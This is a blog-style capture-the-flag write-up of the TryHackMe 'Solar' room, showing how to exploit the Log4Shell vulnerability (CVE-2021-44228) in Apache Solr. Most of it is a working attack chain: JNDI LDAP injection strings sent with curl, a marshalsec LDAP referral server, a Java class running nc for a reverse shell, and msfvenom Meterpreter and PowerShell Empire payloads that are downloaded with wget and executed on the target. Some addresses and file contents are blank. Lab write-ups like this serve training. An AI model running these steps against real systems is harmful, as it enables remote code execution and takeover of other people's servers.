TryHackMe — Solar

9 min readDec 24, 2021

What’s going on h4x0rs this is shellbr3ak, and today we’re going to be doing something a little bit different than regular CTFs.

As you’ve seen in the news, a very serious 0-day was discovered in the Log4j java logging utility which is a part of Apache Logging Services and also one of several java logging frameworks. This CVE affects all versions from 2.0-beta9 to 2.14.1 and was rated as critical in terms of severity with a CVSS score of 10.0 CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H.


In Apache Log4j2 versions up to and including 2.14.1 (excluding security releases 2.3.1 , 2.12.2 and 2.12.3), the JNDI features used in configurations, log messages, and parameters do not protect against attacker-controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.

So, enough talking about the CVE itself, and let’s begin with the fun part.


As a testing environment, I have decided to solve the Solar room from .

The IP of the machine is:

As I’m only trying to demonstrate how to exploit this CVE, I am not going to show the nmap scan results, and I will also not show any other stuff like privilege escalation of content discovery, etc.

According to the room’s description the vulnerable service is running on port 8983 .

Visiting the following URL:

And we get redirected to:

Now, in this room we’re presented a zip file to download, inside of which we can find that the endpoint admin/cores is being requested.

So, let’s give that a visit.

Keep in mind that in the main webpage, we’ve seen that Log4jlogging utility is being used already.


led us to this page:

Knowing that the payloads to exploit CVE-2021–44228 could be submitted from the parameters (got that information from the files I’d downloaded).

In the room you can find several payloads that can be used to test for the existence of the vulnerability.

  • ${}
  • ${}
  • ${log4j:configParentLocation}
  • ${ENV:PATH}
  • ${java:version}

In my case, I will be using the last payload to get a connection back to my listener (which happens to be my favorite method, because it can find all type of blind injection vulns).

Since we won’t need BurpSuite or any web browser to exploit the vulnerability, I will be using the curl command-line utility.

Setting my listener on port 9999

I will be executing the following command to see if I get any callbacks on port 9999.

curl ‘$\{jndi:ldap://\}'

And indeed, we got it.

which confirms the existence of the vulnerability. Now let’s try to get a shell.

At this point, we have verified the target is in fact vulnerable by seeing this connection caught in our netcat listener. However, it made an LDAP request. So all our netcat listener may have seen was non-printable characters (strange looking bytes). We can now build upon this foundation to respond with a real LDAP handler.

As demonstrated in the room, we will be utilizing an open-source and public utility to stage an “LDAP Referral Server”. This will be used to essentially redirect the initial request of the victim to another location, where we can host a secondary payload that will ultimately run code on the target.

  1. ${jndi:ldap://attackerserver:1389/Resource} -> reaches out to our LDAP Referral Server
  2. LDAP Referral Server springboards the request to a secondary http://attackerserver/resource
  3. The victim retrieves and executes the code present in http://attackerserver/resource

This means we will need an HTTP server.

Now, here comes the hard part.

The first order of business however is obtaining the LDAP Referral Server. We will use the marshalsec utility offered at

We must build marshalsec with the Java builder maven. If you do not yet have maven on your system, you can install it through your package manager.

sudo apt install maven

Next, run the command to build marshalsec utility.

mvn clean package -DskipTests

With the marshalsec utility built, we can start an LDAP referral server to direct connections to our secondary HTTP server.

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer “http://YOUR.ATTACKER.IP.ADDRESS:8000/#Exploit"

the Exploit is going to be our payload, and it should be saved as .java file.

Content of :

As you can see, the payload runs a nc command on the server side to get us our shell.

Now, we need to compile our java file using the following command:

javac -target 8 -source 8

Please note that java 8 is required in this attack.

Now we have got all the pieces ready.

Our web server :

Our LDAPRefServer:

Our command to trigger the vulnerability and get the exploit running on server-side:

curl ‘$\{jndi:ldap://\}'

And we got it:

Callback to our LDAPRefServer:

2 GET requests to our web server indicating that the exploit was requested, and as a result of requesting the Exploit.class and running it, our got requested as well.

Output of our curl command:

Our shell:

So, that was it. This is how you can exploit CVE-2021–44228

The creator of this room John Hammond tells us to go further beyond getting a generic netcat reverse shell and try to get a meterpreter session as well as an empire agent.

So, let’s do the meterpreter session part.

Using the following command, we have created our meterpreter payload.

msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST= LPORT=8484 -f elf -o shell.elf

Now, we will set our listener.

Launch metasploit with msfconsole and run the following commands:

  • use exploit/multi/handler
  • set PAYLOAD linux/x64/meterpreter_reverse_tcp
  • set LPORT 8484
  • run

In order to make the exploitation faster, I have written 2 exploits.

First one is called , and the second one is .

Note that you need to recompile your java file each time you change the payload.

Now, turn off your LDAPRefServer and re-run it with the following command:

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer “" 8888

To get the command inside running we will exploit the vulnerability using curl utility again:

curl ‘$\{jndi:ldap://\}'

On our web server, we see 2 requests:

This means that wget command was run successfully. Time to get a meterpreter shell.

Now the elf binary we have created with msfvenom needs to have execute permissions to run. So, we will need a third java file.

Turn off your marshalsec utility and run it back again with the following command:

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer “" 8888

Command to trigger the exploit:

curl ‘$\{jndi:ldap://\}'

We got another callback on our web server:

Now we need to kill the marshalsec utility and run it back again after changing the codebase name.

Again, turn the marshalsec utility off, and change the codebase name.

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer “" 8888

curl ‘$\{jndi:ldap://\}'

And we got another callback to our web server.

And most importantly, we got our meterpreter session opened.

Now, we will do the Empire agent part.

Go ahead and fire up both powershell-empire server, and powershell-empire client .

We need to set up a listener and a stager to get an agent on the target machine.

On powershell-empire client part, run the following command:

  1. uselistener http
  2. set Host VPN-IP
  3. set Port PORT
  4. execute

On the powershell-empire server side, you should see this message:

To create a stager, on the powershell-empire client side, use the command usestager multi/bash , then execute the following :

  1. usestager multi/stager
  2. set Listener LISTENER_NAME
  3. execute

This will generate a bash payload, let’s save that payload and upload it to the target host using the same previous method.

In my case, I stored it in a file and named it .

Now, we need to modify our java files a little bit. : :



And we got the callbacks.

Now that we know our stager is uploaded to the target host, let’s run it.

On powershell-empire client side, you should see the following output:

which indicates that our agent was successfully executed and self-deleted.

On the powershell-empire server side, the following output is observed:

Back to the client side, execute the command agents to see the active agents.

In my case, I have two agents, one dead, and the one we just uploaded (green colored).

You can interact with the agent using the command interact AGENT_NAME .

As you can see, we got the output of the command whoami sent back to us.

So, that was it. We have demonstrated how to exploit Log4Shell to get a shell in 3 different ways. I hope you guys enjoyed it and I will see you all in the next write-up.




Offensive Security Engineer | Threat Intelligence Analyst | Cloud/Web App Penetration Tester | CTIA | eWPTXv2 | OSWE | CTF Lover